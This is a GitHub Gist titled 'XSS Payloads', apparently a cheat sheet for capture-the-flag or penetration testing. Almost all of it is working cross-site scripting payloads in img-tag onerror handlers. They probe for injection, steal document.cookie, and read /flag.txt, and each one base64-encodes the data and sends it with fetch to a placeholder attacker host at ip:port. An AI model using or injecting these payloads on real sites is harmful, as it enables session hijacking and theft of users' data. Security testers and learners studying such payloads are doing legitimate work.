Skip to content

Instantly share code, notes, and snippets.

@Reelix
Last active January 1, 2025 21:22
Show Gist options
  • Save Reelix/851ecf7463d1a42698813c2f3443f5c8 to your computer and use it in GitHub Desktop.
Save Reelix/851ecf7463d1a42698813c2f3443f5c8 to your computer and use it in GitHub Desktop.
XSS Payloads
// Test For Image
<img src='http://ip:port/xss' />
// Test For Fetch
<img src=x onerror=fetch('http://ip:port/xss2') />
// Fetch Cookie Stealing
<img src=x onerror=fetch('http://ip:port/cookie?cookie='+btoa(document.cookie)) />
// Fetch entire page contents
// Note: "'s are required (Chained promises)
<img src=x onerror="fetch('/flag.txt').then(r=>r.text()).then(d=>fetch('ip:port/data?d='+btoa(d)))">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment